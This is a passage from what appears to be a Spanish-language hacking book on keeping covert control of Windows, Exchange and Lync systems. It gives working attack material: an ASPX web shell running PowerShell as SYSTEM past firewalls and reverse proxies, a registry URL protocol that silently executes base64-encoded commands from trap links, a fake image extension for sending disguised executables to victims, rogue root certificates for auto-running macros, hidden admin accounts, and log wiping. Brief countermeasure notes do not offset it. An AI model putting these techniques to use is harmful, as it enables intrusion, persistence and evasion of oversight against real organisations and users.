Para ello, entre en la interfaz web de su servidor de correo y acceda con su cuenta.
c. PowerShell

Si crea una cuenta de usuario, puede activar el correo electrnico con el siguiente comando:

Enable-Mailbox -Identity dominio\nombreUsuario -Database Database01

Para conseguir el nombre de la base de datos Exchange, si no lo sabe:

get-mailboxdatabase

Para que las informaciones relativas al usuario no aparezcan en la lista global de direcciones de correo:

Set-mailbox -identity "nombre del servicio"

-HiddenFromAddressListsEnabled $true

Para activar el acceso web:

Set-mailbox -identity "nombre del servicio" -owaEnabled $true

Para otorgar a un usuario el acceso completo a otra cuenta de correo:

2.
Add-mailboxpermission -identity "vcitma" -user "su cuenta o

grupo" -accessright fullaccess

Modificar una aplicacin web para conservar un acceso desde el exterior

Cuando servidores como Exchange, SharePoint o Lync estn conectados al mundo exterior, proponen servicios
accesibles desde cualquier punto. Algunos de estos servicios tienen funciones obligatorias para un correcto
funcionamiento, como Autodiscover, EWS (Exchange Web Services), Lync Meeting, ABS (Address Book Service)
para Lync y muchos otros.

a. Aadir un grupo de aplicaciones

Para tener acceso con permisos de sistema en una aplicacin, crearemos un application pool en el servidor IIS
(Internet Information Services) donde uno de estos servicios se encuentra instalado. Podemos utilizar un grupo
de aplicaciones existente en vez de crear uno, si alguno de estos servicios ya dispone de un pool que utilice
permisos de sistema.

Para crear uno nuevo, abra la consola de gestin de IIS. Haga clic con el botn derecho del ratn en Grupos de
aplicaciones - Agregar grupo de aplicaciones....
Dele un nombre y elija la versin .NET que prefiera. Le aconsejamos la versin .NET 4.0.

Vaya a los parmetros avanzados y modifique la Identidad para reemplazar el valor actual porLocalSystem.

Las aplicaciones que usen este grupo tendrn permisos de sistema en el equipo.

b. Aadir una aplicacin web

Para evitar la seguridad de los cortafuegos externos e internos, basta con usar las reglas ya publicadas. En
cuanto a esquivar la seguridad de un posible reverse proxy, debe ser ms prudente. Si el reverse proxy est
bien configurado, no permitir el acceso a todos los subdirectorios/enlaces de un sitio web publicado.
Pero algunas aplicaciones son complicadas de configurar y, en este caso, el proxy lleva muchas veces la
configuracin por defecto, lo que permite acceder a todos los directorios.

Vamos a evitar por lo tanto las reglas de seguridad del reverse proxy creando una aplicacin web en una
existente.

Elija una aplicacin web existente, como OWA en un servidor Exchange, o MEET o DIALIN en un servidor Lync.
Haga clic despus en el botn derecho del ratn para aadir una nueva aplicacin.

Dele un nombre y una ruta para sus ficheros:

Cambie los parmetros de autenticacin para activar solamente el acceso annimo.


Vamos a probar nuestras modificaciones para comprobar la configuracin.

Cree un fichero index.html en el directorio c:\temp\cmd.

<html>

El sitio web funciona

</html>

Ya puede probar los cambios accediendo al sitio web:

El sitio web funciona; puede, por lo tanto, mantener un control sobre el servidor.

c. Aadir una pgina web para ejecutar comandos

El sitio web funciona bien pero, tal y como est, no nos sirve de nada. Crearemos una pgina aspx que nos
permitir formular comandos PowerShell al servidor, y l los ejecutar y nos mostrar la salida.

Abra el Bloc de notas y escriba el cdigo siguiente en un fichero que llamar webcmd.aspx:
<%@ Page Language="C#" %>

<!DOCTYPE html>

<script runat="server">

protected void Button1_Click(object sender, EventArgs e)

string salida ="";

System.Diagnostics.Process p = new System.Diagnostics.Process();

p.StartInfo.FileName = "Powershell.exe";

p.StartInfo.Arguments = "/c " + txtcmd.Text;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.RedirectStandardError = true;

p.StartInfo.UseShellExecute = false;

p.Start();

salida = p.StandardOutput.ReadToEnd();

salida += p.StandardError.ReadToEnd();

p.WaitForExit();

txtresult.Text = salida;

SetFocus(txtcmd);

</script>

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">

<title>Powershell cmd</title>

</head>

<body style="background-color: #000000">

<form id="form1" runat="server">

<div>

<asp:Label ID="Label1" runat="server" Text="Escriba los comandos

powershell aqui:" ForeColor="White" Font-Bold="True"></asp:Label>


Una vez creado el documento, cpielo en el directorio de la aplicacin web.

Active la navegacin de los directorios para la aplicacin web.

d. Utilizar el acceso Web PowerShell

Ahora puede ejecutar comandos PowerShell en el servidor remoto con permisos de sistema evitando el
cortafuegos y el reverse proxy, cuya funcin es impedir esto. Basta con acceder a la pgina web creada. Vaya a
la URL siguiente: https://mail.suservidor.es/owa/cmd/webcmd.aspx

Para saber qu mdulos estn disponibles en el servidor:

Get-module -listavailable

Para gestionar los objetos Active Directory, importe el mdulo y ejecute el siguiente comando. Puede escribir
varios comandos seguidos.
import-module activedirectory;

get-aduser -filter *;

Para utilizar las funcionalidades de Exchange, aada los snap-in adecuados delante del comando.

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

Get-Mailbox

Como recordatorio, para descargar desde Internet con PowerShell, basta con usar un objeto .NET de tipo
WebClient.

$web = New-Object System.Net.WebClient

$web.DownloadFile(http://web/app.exe,c:\temp\app.exe)

Con este comando puede descargar nuevas pginas en el servidor y aadirles scripts ms complejos o tambin
aplicaciones potentes para mantener el control sobre todo el entorno.

3. Contramedidas

Sin lugar a dudas, debe analizar regularmente los sitios web de riesgo para detectar posibles puertas traseras
dejadas por un consultor o un empleado que se haya ido de la empresa en malas circunstancias. Al finalizar cada
proyecto donde se integre personal externo para instalar/configurar servidores de riesgo como Exchange,
SharePoint, Lync o tambin un servidor web, analice el servicio instalado/configurado para garantizar que no
existen puertas traseras. Audite regularmente los grupos de seguridad para los grupos de administradores, pero
tambin para los roles Exchange, SQL, Lync, SharePoint, etc.

Conservar discretamente un medio de tomar el control en un PC o


un servidor
Los mtodos pasivos son mucho ms discretos que un programa que se queda a la espera de una conexin o que
uno se conecta cada minuto a Internet a peticin de una orden. Se trata de modificar el sistema operativo de
manera que responda nicamente a una peticin en particular. Este tipo de cambio, si est ligado a un proceso, solo
debe arrancarse en el momento del ataque. De lo contrario, dejara de ser pasivo. Este tipo de escenario es, por lo
tanto, muy complicado de detectar.

1. Aadir un protocolo y trucar la navegacin

Lo ideal es poder dar a un usuario un comando que ejecutar sin que se d cuenta. Para ello aadiremos un
protocolo que Internet Explorer entender y ejecutar. El cambio deber realizarse sin necesidad de permisos de
administrador. Modificaremos, por lo tanto, el sistema operativo a nivel de usuario.
a. Modificar el registro

Para agregar un protocolo que entienda el sistema operativo, aadiremos una entrada en el registro. Esta
entrada particular se utilizar cuando un usuario pulse en un enlace determinado o cuando visite una pgina
modificada que tendr una redireccin a otro enlace trampa. Vamos a crear OC Protocol, que corresponde a
Comando Operacional.

Cree el siguiente fichero con el Bloc de notas y gurdelo con el nombre cel.reg.

Al
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\oc]

"URL Protocol"=""

@="URL:OC Protocol"

[HKEY_CURRENT_USER\Software\Classes\oc\DefaultIcon]

@="C:\\windows\\explorer.exe,0"

[HKEY_CURRENT_USER\Software\Classes\oc\shell]

[HKEY_CURRENT_USER\Software\Classes\oc\shell\open]

[HKEY_CURRENT_USER\Software\Classes\oc\shell\open\command]

@= "powershell -noexit -Windowstyle hidden -command \"&

{$C=%1;$C=$C.Remove(0,3);iex $C}\""

visitar una URL, el navegador comprobar en el registro si el protocolo solicitado es conocido. Si es el caso, leer
y ejecutar el valor por defecto de la clave .../[Protocolo]/SHELL/OPEN/Command.

Esta clave ejecutar un comando PowerShell en modo transparente:

El
powershell -noexit -Windowstyle hidden -command "& { ... }"

parmetro recibido del navegador es la URL indicada, que corresponde a %1.

El cdigo HTML de un enlace trampa:


<a href="oc:ls=" >Haga clic aqu</a>

Recibimos del navegador:

El
%1 = oc:ls

comando PowerShell que hay que ejecutar, es por lo tanto, ls. Eliminaremos los tres primeros caracteres para
guardar solo el comando PowerShell:

$C=%1;

$C=$C.Remove(0,3);

En este punto tenemos $C = ls. Ejecutamos seguidamente el comando:

Iex $C

Antes de probar, debemos autorizar el protocolo en Internet Explorer. Si no, el usuario deber confirmar si desea
arrancar la aplicacin.

Aada esta clave a su fichero antes de importarlo:

El
[HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\ProtocolExecute\oc]

"WarnOnOpen"=dword:00000000

usuario no deber confirmar si desea ejecutar la aplicacin en Internet Explorer.

b. Usar la modificacin

Para probar la modificacin en su equipo, importe el fichero de registro creado.


Haremos que se ejecute un comando PowerShell que enumere los ficheros y enve la salida a un fichero:
Cree
Ls > c:\temp\dir.txt una
pgina
web, acceda a un foro o a un sitio SharePoint y aada un enlace con la siguiente URL:

El
Oc:ls > c:\temp\dir.txt

resultado final en HTML debera parecerse a:

<a href="Oc:ls > c:\temp\dir.txt" >Pulse aqu</a>


Haciendo clic en el enlace, PowerShell se abre brevemente y se crea un fichero en la ruta indicada.

c. Enmascarar el script

El script PowerShell es visible en claro en el cdigo de la pgina HTML. Esto no resulta muy bonito. Corre el
peligro de que un administrador descubra rpidamente el problema si sube este tipo de cdigo en un sitio
SharePoint o una intranet.

Esconderemos el cdigo codificndolo en Base64. De esta manera ya no ser legible en la pgina.

Para ello, codificaremos el cdigo PowerShell en Base64 con la ayuda del programa que ya usamos para codificar
el JavaScript en hexadecimal (se puede descargar desde la pgina Informacin).

El enlace de HTML debe parecerse ahora a lo siguiente:

<a href="oc:bHMgPiBjOlx0ZW1wXGRpdC50eHQ=" >Haga clic aqu</a>

La clave de registro del protocolo tambin debe modificarse para entender la codificacin:

[HKEY_CURRENT_USER\Software\Classes\oc\shell\open\command]

@="powershell -Windowstyle hidden -command \"&

{$C=%1;$C=$C.Remove(0,3); $B= [System.Convert]::

FromBase64String($C); $D=

[System.Text.Encoding]::UTF8.GetString($B); iex $D}\""


Solo atendemos a la parte de cdigo PowerShell:

$C=%1;

$C=$C.Remove(0,3);

Usamos objetos del Framework .NET para transformar la cadena en Base64 en texto entendible:

$B= [System.Convert]::FromBase64String($C);

$D= [System.Text.Encoding]::UTF8.GetString($B);

En este punto, $D contiene el comando en texto claro. Lo ejecutamos:

Iex $D ;

Para que PowerShell se ejecute al abrir la pgina, puede usar JavaScript en el encabezado de la pgina:

<head>

<script language="javascript">

<!--

window.location.href = oc:bHMgPiBjOlx0ZW1wXGRpdC50eHQ=;

//-->

</script>

</head>

<html>

....

</html>

Ya est! Hemos alcanzado el resultado deseado: ahora puede usar esta tcnica siendo an ms discreto.

2. Aadir o modificar una extensin

Hemos visto cmo preparar el navegador para un ataque discreto ejecutado por una pgina web o un enlace.
Ahora prepararemos el sistema operativo que se va a atacar por una va diferente. Cuando el usuario recibe un
adjunto como un ejecutable, no lo ejecuta forzosamente. Si recibe una imagen o un documento que no parece
peligroso, hay muchas probabilidades de que lo abra sin desconfiar. Lo ideal es que el usuario abra una imagen y
que esta ejecute cdigo malicioso para terminar mostrando la imagen. Para ello, crearemos la extensin BNP.
Podramos modificar la extensin BMP, pero esto hara que estos ficheros fuesen inutilizables. El usuario se
percatara entonces de que algo pasa. El principio sigue siendo el mismo que el usado para un protocolo.

a. Modificar el registro

Para aadir la extensin BNP, modificaremos el registro del usuario de modo que este abra un fichero BNP como
un ejecutable, y no como una imagen. Pero el parecido es suficiente para engaar al usuario.

Abra un editor de texto y cree un fichero llamado bnpFile.reg.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\.bnp]

[HKEY_CURRENT_USER\Software\Classes\.bnp\DefaultIcon]

@="%1"

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell]

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\Open]

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\Open\Command]

@="\"%1\" %*"

"IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\runas]

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\runas\command]

@="\"%1\" %*"

"IsolatedCommand"="\"%1\" %*"

Despus de aadir estas claves al registro del objetivo, puede enviarle un fichero EXE renombrado como un
fichero BNP.
Acurdese de cambiar el icono del ejecutable para que se parezca al de un fichero normal y, durante la
ejecucin, de mostrar una imagen real para que el engao no sea descubierto.

b. Usar la modificacin

Desarrolle su propio ejecutable tomando como referencia ejemplos de este libro. Compile varias veces
cambiando la imagen que se mostrar cada vez. Renombre los ficheros finales como imagexx.bnp.

Puede crear un paquete con IExpress:

En la medida en que utilice una aplicacin creada con IExpress o un programa para el cual no domina la
eleccin del icono, puede cambiarlo con ResHack (Resource Hacker).

Aada las imgenes renombradas en un fichero zip y envelo a la vctima. Cada vez que el usuario abra una
falsa imagen as modificada, arrancar al mismo tiempo un ejecutable o un script.

3. Aadir un certificado raz

En qu medida sera un certificado raz peligroso para el usuario y en qu nos ayudara? Muy simple. Cuando una
macro de un documento de Office es firmada por una fuente de confianza, se ejecuta por defecto sin ningn
mensaje de aviso. Un documento de Office se torna entonces tan potente como un ejecutable. Cuando un sitio
web que utiliza HTTPS se visita, el origen del certificado es controlado y si es reconocido como de confianza, no se
le muestra al usuario ningn aviso para comunicarle que el sitio web no es de confianza. Aadir un certificado raz
es, por lo tanto, una buena manera de preparar el terreno para despus enviar documentos trampa y tomar el
control de una sesin.
Para aadir un certificado raz al usuario:

Una
certutil -user -addstore root root.cer vez

ejecutado el comando en la sesin del usuario, puede crear un documento de Office malicioso firmando el cdigo
de la macro.

Para firmar el cdigo, al editar este ltimo, vaya al men Herramientas - Firma digital....

Elija el certificado obtenido de la misma autoridad de certificacin que el instalado en el equipo de la vctima.
Despus guarde el documento en el formato antiguo, por ejemplo, DOC para un fichero de Word. Al abrir la
vctima el documento, la macro se ejecutar directamente. Podr enviar cualquier comando escondido en un
documento inofensivo.

4. Esconder una cuenta de usuario

Cuando creamos un usuario para mantener el control de un PC o un servidor, esta accin deja obligatoriamente
huellas. Lo ideal es que sea descubierto lo ms tarde posible, as que necesitamos encontrar un medio para que
esta cuenta se vuelva invisible a ojos del administrador.

a. Esconder un usuario local

En un PC o un servidor, cuando se crea una cuenta local, aparece con todas las dems en el inicio de sesin. Por
lo tanto es complicado esconderla.
Una modificacin del registro permite hacerla invisible.

Para esconder un usuario con el nombre Pirata, abra el editor de texto y cree un nuevo ficheroUser.Reg:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\

CurrentVersion\Winlogon\SpecialAccounts\UserList]

"pirata"=dword:00000000

Una vez la cuenta modificada, el usuario Pirata no aparecer ms en la pantalla del inicio de sesin.

b. Esconder un usuario en el Active Directory

Un administrador ve todos los usuarios creados en el directorio. Sin embargo, si un usuario se esconde en medio
de numerosas unidades organizativas, ser difcil para el administrador encontrar una cuenta sospechosa.

Al realizar una auditora de seguridad en el Active Directory, muchas veces solo se buscan las cuentas de usuario
que no tienen definida una fecha de expiracin para su contrasea o los usuarios que pertenecen a ciertos
grupos de seguridad, como el grupo administradores.

Para buscar un usuario cuya contrasea no disponga de fecha de expiracin, puede utilizar las bsquedas
comunes:

La bsqueda nos devuelve cinco resultados.

Por lo tanto, para esconderla mejor, modificaremos los permisos de la cuenta con el fin de que el administrador
no disponga de la autorizacin para ver el objeto.

Para ello, active la vista avanzada de la consola Usuarios y equipo de Active Directory en el menVista -
Funciones avanzadas. Desde este momento, tiene acceso a la pestaa Seguridad para los usuarios.
Debe bloquear cada cuenta de los administradores que se encuentre en el
grupo Administradores,Administradores de la empresa o tambin Administradores del dominio. No
debe bloquear directamente el grupo, ya que bloqueara totalmente el usuario.

Una vez modificados los permisos, Administrator en el caso anterior no encontrar la cuenta Pirata. Como
habr observado, basta con modificar los permisos para esconder la cuenta.

Esta vez solo se muestran cuatro resultados. La cuenta Pirata est escondida para el administrador.

5. Contramedidas

Los protocolos y las extensiones puede ser aadidas por defecto en las claves del registro donde el usuario tiene
permisos de escritura. Simplemente, debe modificar los permisos de estas claves con la ayuda de las polticas de
grupo para impedir que se aada un protocolo o una extensin.

Si el usuario no tiene permisos de administrador, no podr esconder un usuario. El desafo, por lo tanto, es
impedir que disponga de estos permisos. Los objetos del Active Directory, los ficheros, as como las claves de
registro pueden ser auditadas usando NTFS. Conviene, pues, activar la auditora para vigilar modificaciones
anormales.
Los certificados raz puede ser gestionados por una poltica de grupo. Puede tambin bloquear el uso de
certutil.exe, lo que limitar los riesgos de que se aada un certificado raz con un script.

Usar la virtualizacin

1. Hyper-V en Windows 8

Si su sistema operativo es Windows 8 Pro y su procesador ofrece las funcionalidades de virtualizacin, podr
instalar Hyper-V en su equipo. Hyper-V le permitir crear un PC completo donde ser el nico administrador.
Podr esconder aplicaciones y falsos sitios web, y usarlo casi sin restricciones.

a. Instalar Hyper-V

Para instalar Hyper-V, pude usar el Panel de control - Programas - Activar o desactivar las
caractersticas de Windows.

Puede instalarlo tambin desde la lnea de comandos de PowerShell:

b.
Enable-WindowsOptionalFeature -FeatureName Microsoft-Hyper-V -All

-Online

Configurar Hyper-V

La configuracin de Hyper-V no es muy complicada: basta con crear un switch conectado a cada tarjeta de red
para despus poder elegir por dnde entrar y saldr el trfico en su mquina virtual.

Abra la consola de gestin de Hyper-V y haga clic en el nombre de su equipo. Vaya al men Accin - Administrar
los conmutadores virtuales y cree un switch virtual de tipo externo.
Cree un switch virtual de tipo externo para cada tarjeta de red instalada en su equipo. Despus cree un switch
virtual de tipo privado que le servir para esconder su mquina virtual de la red el tiempo suficiente para hacer sus
primeras pruebas.

c. Crear una mquina virtual

Una vez configurada la red, solo le queda crear una nueva mquina virtual.

Abra la consola de gestin de Hyper-V y acceda al men Accin - Nueva - Mquina virtual.
D un nombre y elija si es preciso otro emplazamiento para su mquina virtual.
Asigne la memoria a la futura mquina virtual, como mnimo 512 MB para Windows 7.
Elija uno de los switchs creados anteriormente. Si no necesita red en el momento de la instalacin, escoja de
momento el switch privado.
D un nombre y especifique el espacio mximo del disco duro de la futura mquina virtual.

Al crear un disco virtual al mismo tiempo que la mquina, este es por defecto dinmico. Hyper-V solo
ocupar, por lo tanto, el espacio mnimo necesario en el disco duro fsico. Pero el sistema virtualizado ver el
espacio mximo atribuido en la configuracin.

Elija si desea utilizar un disco fsico o una imagen ISO para instalar su mquina virtual.

La mquina virtual se encuentra ahora en la consola de gestin de Hyper-V. Para mostrar los parmetros de la
mquina, haga clic con el botn derecho del ratn en ella y en Parmetros o acceda al menAccin -
Parmetros. Algunos parmetros no son modificables una vez arrancada la mquina, pero el cambio de switch
se puede realizar en cualquier momento.

Haga doble clic en la mquina virtual para abrir la consola que permite ver la pantalla o seleccinela y vaya al
men Accin - Arrancar.
Arranque la mquina e instale el sistema operativo.

d. Usurpar una direccin MAC

Los administradores pueden activar en el servidor DHCP, desde Windows 2008 R2, una funcin para filtrar las
direcciones MAC autorizadas para asignarles un IP. Por lo tanto, es posible que nuestra mquina no obtenga una
IP o que no pueda conectarse a la red. Para resolver este problema, podemos configurar fcilmente una
direccin MAC esttica en la mquina virtual.

Seleccione la mquina virtual en la consola y acceda al men Accin - Configuracin.


Abra la ventana de caractersticas avanzadas de la tarjeta de red.
Elija el modo Esttica, escriba la direccin MAC que se ha de utilizar y marque la opcin Habilitar suplantacin
de direccin MAC.

e. PowerShell para Hyper-V

Desde Windows 8 y Windows Server 2012, PowerShell es capaz de gestionar Hyper-V con funcionalidades
avanzadas. Los comandos permiten obtener un script de todo lo que acabamos de hacer.

Para tener acceso a estos comandos, importe el mdulo de Hyper-V:

Import-module Hyper-V

Para crear una mquina virtual llamada PRUEBA:

New-VM -Name PRUEBA -Path "c:\temp" -MemoryStartupBytes 2GB

-NewVHDPath "c:\temp\PRUEBA.vhdx" -NewVHDSizeBytes 80 GB

-SwitchName "Privado"

Para ver todos los comandos del mdulo:

Get-command -module Hyper-V

La salida resulta impresionante. Microsoft da a Hyper-V, gracias a estos comandos, una gran ventaja, ya que se
puede hacer script de todo, desde la instalacin del rol a la creacin y el mantenimiento de las mquinas
virtuales.
2. Otras herramientas de virtualizacin

a. Otras plataformas de virtualizacin

Algunas empresas disean software que permite crear mquinas virtuales en un PC. Las dos ms conocidas con
VMware, con VMware Player y VMware Workstation, as como Oracle, con VirtualBox.

VMware es uno de los lderes del mercado en virtualizacin. La versin cliente no est a la altura de Hyper-V
para Windows 8. Sin embargo, tiene la ventaja de funcionar en Windows 7 y en sistemas de 32 bits. La
encontrar en el siguiente
enlace:https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/5_0

VirtualBox es una aplicacin que permite crear mquinas virtuales. Tambin puede abrir diferentes formatos de
disco duro virtual, como los VHD de Microsoft o el formato utilizado por VMware. El programa existe en versin
portable. VirtualBox no necesita ningn procesador en particular para funcionar. Hasta un equipo de 32 bits no
muy potente, gracias a esta aplicacin, puede virtualizar mquinas. VirtualBox propone tambin una funcin de
integracin en el escritorio. Esto quiere decir que, una vez el plug-in Virtualbox se ha instalado en una mquina
virtual, podr abrir las aplicaciones integradas grficamente aunque el sistema virtual sea Linux como una
edicin de Kali (antigua BackTrack). Puede descargar VirtualBox en el siguiente
enlace: https://www.virtualbox.org/wiki/Downloads

b. Copiar un disco fsico en uno virtual

Crear un disco virtual es una buena tcnica para extraer los datos de un disco fsico con el objetivo de
salvaguardar o piratear. Para esto, existe una muy buena herramienta de Microsoft, Disk2VHD. Este software
tiene la ventaja de poder crear una imagen de un disco fsico aunque este est en funcionamiento (on-line). Por
lo tanto, sera tcnicamente posible piratear todo un disco duro remotamente gracias al programa ya que
adems se pueden hacer scripts. Tambin tiene la ventaja de poder copiar un equipo ya preparado para
piratearlo y transformarlo en disco virtual compatible con Hyper-V.

Encontrar el programa en el siguiente enlace: http://technet.microsoft.com/en-us/sysinternals/ee656415.aspx


c. Conectar/crear un disco virtual directamente en Windows

Desde Windows 7, es posible crear y aadir un disco virtual desde la consola de gestin de discos o desde
PowerShell. Esto representa una enorme ventaja para esconder programas. Puede aadir un disco virtual,
herramientas de pirateo o documentos que necesite y desmontar el disco si no lo utiliza para evitar cualquier
anlisis del contenido por parte de un administrador. Tambin podemos copiar el fichero VHD en una llave USB
cifrada para montarlo en otro equipo cuando necesitemos ciertas herramientas.

Para crear un disco virtual en su equipo, ejecute Diskmgmt.msc y acceda al men Accin - Crear VHD.
Elija el formato VHD en Windows 8; si no, el disco virtual no ser compatible con Windows 7.
Elija Expansin dinmica. Solo de este modo el espacio real utilizado se reservar en el disco duro.

Inicialice el disco y cree un Nuevo volumen simple.

Una vez completada esta etapa, tendr acceso a su nuevo disco duro.

d. Impedir el acceso a su disco duro

Cuando un fichero se desconecta, el administrador podra conectarlo y analizarlo. Para evitar toda apertura
intempestiva de su disco virtual, vamos a proteger el volumen con BitLocker.

Empiece por montar el disco si no aparece en el explorador de Windows.

Para ello, haga doble clic en el fichero o, desde la consola de gestin de discos ( Diskmgmt.msc), elija Accin -
Montar un disco virtual.
Para proteger el disco, vaya al explorador de Windows y haga clic con el botn derecho del ratn en el nuevo disco
que acaba de crear o montar y en Activar BitLocker.
Indique una contrasea lo suficientemente larga y compleja como para que no sea descubierta.
Despus tendr que elegir de qu manera almacenar la clave de recuperacin de su disco. Elija lo que mejor le
convenga.

BitLocker no puede activarse si tiene una particin de ms de 1 GB. Adems, no todas las versiones de
Windows pueden gestionar BitLocker.

Una vez protegido el disco, ser el nico en poder acceder a su contenido. Cuando conecte el disco, el sistema
operativo le pedir la contrasea para descifrar el contenido. Sin esta o la clave de recuperacin, no existe
ninguna manera de ver lo que hay en l.

e. La virtualizacin de aplicaciones

En vez de virtualizar una mquina entera, es posible, para esconder una aplicacin o para hacerla portable,
utilizar una herramienta de virtualizacin de aplicaciones.

Los programas ms extendidos en este dominio son ThinApp de VMware, App-V de Microsoft (antiguo Softgrid) y
Workspace Virtualization de Symantec.

Este tipo de producto se utiliza, en principio, para no depender de un sistema operativo y poder migrar
aplicaciones dependientes del entorno en una nueva infraestructura. Los usos malintencionados resultan
tambin interesantes, como utilizar la versin de prueba de un programa de manera ilimitada, registrar una
licencia nica de un producto en Internet y usarlo en varios puestos de trabajo, hacer que una aplicacin que
necesite una instalacin completa sea completamente portable y evidentemente esconder una aplicacin en el
sistema operativo para evitar que aparezca instalada, etc.

Sin embargo, estos programas de virtualizacin no son ni gratuitos ni fciles de encontrar.

3. Contramedidas

La virtualizacin de aplicaciones o de un sistema operativo utiliza una aplicacin, ya sea la consola de Hyper-V o la
versin Player de VMware. Basta con bloquear estos programas y prohibir a los usuarios instalar programas no
dndoles privilegios de administrador en sus PC. Si desea ser ms restrictivo, puede impedir a los usuarios que
utilicen programas no autorizados aplicando una restriccin software. Hyper-V tambin puede inutilizarse si no
autoriza el uso de funciones particulares del procesador como AMD-V o Intel VT, bloqueando estas funciones en la
BIOS del equipo.

Utilizar la cuenta de sistema


Hemos mostrado con anterioridad cmo utilizar la cuenta de sistema para arrancar aplicaciones en un servidor local
o remoto mediante el escritorio remoto.
1. Utilizar la cuenta de sistema directamente

Cuando se conecta de esta manera a un equipo, todo lo que guarda una herramienta de monitoreo o simplemente
lo que se guarda en los logs de Windows est marcado como modificado, eliminado o aadido por SYSTEM. Por lo
tanto, ser muy difcil para un administrador saber quin ha modificado las informaciones en el servidor.

El siguiente ejemplo lo demuestra al modificar la contrasea de una cuenta de usuario en un controlador de


dominio:

El log da como usuario fuente de la modificacin la cuenta de sistema, como se espera. La nica oportunidad para
el administrador de poder encontrar quin ha realizado la modificacin es mirando el log del cortafuegos si no est
desactivado o del cortafuegos que separa la red de usuarios de la red de servidores si este existe.

2. Utilizar la cuenta de sistema indirectamente

El uso de la cuenta particular SYSTEM en un controlador de dominio permite crear un usuario en Active Directory.
Una cuenta as creada puede servir para efectuar todos los cambios. Va a integrarla en todos los grupos de
seguridad necesarios para Lync y Exchange o para el acceso a documentos confidenciales. El captulo Tomar el rol
de administrador o de sistema explica cmo proceder.

Una vez realizados los cambios, basta con eliminar la cuenta de la misma manera que se ha aadido. Las huellas
sern igual de difciles de seguir para el administrador.

3. Contramedidas

Es complicado contrarrestar el uso de la cuenta de sistema. En principio debe impedir al usuario ser
administrador, lo que le impedir despus tomar el rol de sistema.

Eliminar los logs


Los logs contienen generalmente las informaciones que permiten a un administrador encontrar quin ha realizado
qu en el equipo. Le interesa, pues, borrarlos o modificarlos.

Cuando un usuario se conecta a una aplicacin, todo un conjunto de actores pueden intervenir para crear la
conexin, para autenticarla, para garantizar la seguridad o tambin para almacenar informaciones de las
transacciones como el origen, el destino o tambin el contenido. En su caso, debe realizar una lista y solo dejar
informaciones difciles de trazar.

Conectarse a un equipo para borrar sus huellas puede crear nuevas huellas que pueden, en ciertos casos, ser
ms fciles de seguir. Por lo tanto, pinselo bien antes de conectarse y borrar todo.

Windows monitorea ciertas modificaciones del sistema al modificar o aadir una aplicacin, aunque la aplicacin sea
compatible. El administrador puede tambin elegir vigilar claves de registro, ficheros u objetos del Active Directory
con la ayuda de la funcin de auditora de seguridad. Esta funcin puede guardar los intentos de accesos vlidos o
invlidos en el log de seguridad del equipo donde la auditora es activada. Estos logs son, por lo tanto, una fuente
interesante para l, para poder encontrar el origen de un ataque.

El cortafuego local puede, si la funcin es activada, almacenar todas las conexiones entrantes y salientes de un
equipo. Por defecto, el log no est activado.

Tambin puede, dependiendo de la configuracin, guardar el trfico entre el navegador y un sitio web.

Otras aplicaciones ms complicadas de piratear, como un antivirus, un proxy, un switch o tambin un cortafuegos
fsico, pueden configurarse para guardar informaciones de sus acciones. Por lo tanto, debe ser muy prudente en la
manera de proceder para atacar, ya que ser complicado eliminar sus huellas.

1. Los logs de eventos de Windows

Para borrar los logs de eventos de Windows, puede usar varios medios. El ms sencillo es, evidentemente, el de la
interfaz grfica.

Para ello, ejecute eventvwr.msc y haga clic en el log que quiere borrar, y despus acceda al men de la
derecha Acciones - Vaciar registro.

Si desea eliminar los logs usando un script, puede utilizar el comando PowerShell siguiente:
2.
clear-eventlog -log application, system, security -confirm:$false
Los
logs
del cortafuegos local

El cortafuegos de Windows se puede configurar para guardar las informaciones de las transacciones. Le
recomendamos, por lo tanto, controlar si este est activado, parar el almacenamiento de las transacciones y
borrar el log en caso de que sea necesario.

Para ello, puede buscar informacin mediante la interfaz grfica abriendo la consola de gestin avanzada del
cortafuegos.

Ejecute WF.msc, y acceda al men Accin - Propiedades. Pulse despus el botn Personalizar enInicio de
sesin.

Por defecto, el registro de logs no est activo y los logs se encuentran en la ruta
C:\windows\system32\LogFiles\Firewall\pfirewall.log.

Para controlar esto desde la lnea de comandos, escriba:

Un
Import-Module netsecurity

Get-NetFirewallProfile

ejemplo de la salida de los comandos:


--

Name : Domain

Enabled : False

DefaultInboundAction : Allow

DefaultOutboundAction : Allow

AllowInboundRules : NotConfigured

AllowLocalFirewallRules : NotConfigured

AllowLocalIPsecRules : NotConfigured

AllowUserApps : NotConfigured

AllowUserPorts : NotConfigured

AllowUnicastResponseToMulticast : NotConfigured

NotifyOnListen : True

EnableStealthModeForIPsec : NotConfigured

LogFileName : %systemroot%\system32\LogFiles

\Firewall\pfirewall.log

LogMaxSizeKilobytes : 4096

LogAllowed : False

LogBlocked : False

LogIgnored : NotConfigured

DisabledInterfaceAliases : {NotConfigured}

Tambin es posible utilizar Netsh desde cmd y despus adv, pero Microsoft recomienda utilizar PowerShell.
Existen muchas posibilidades de que Netsh desaparezca a favor de PowerShell en las prximas versiones de
Windows.

3. Los logs de los servicios web

Los servicios web pueden configurarse para conservar las huellas de las conexiones a estos. Para controlar si est
configurado para almacenar los logs, y saber dnde se encuentran esos logs, puede utilizar la interfaz grfica.

Desde las herramientas de administracin del Panel de control, abra la consola de Administracin de servicios
web (IIS), haga clic en el sitio web que desea controlar y luego en Registro.
Por defecto, los logs se activan si el mdulo de logs est instalado. Generalmente lo podr encontrar en:
C:\windows\inetpub\logs\logFiles\.

Puede desactivarlos y suprimir los ficheros del directorio.

a. Contramedidas

Los ficheros de logs deben guardarse regularmente con el fin de que no puedan ser manipulados fcilmente.
Puede utilizar una funcin que existe desde Windows Server 2008, que consiste en recuperar los logs de
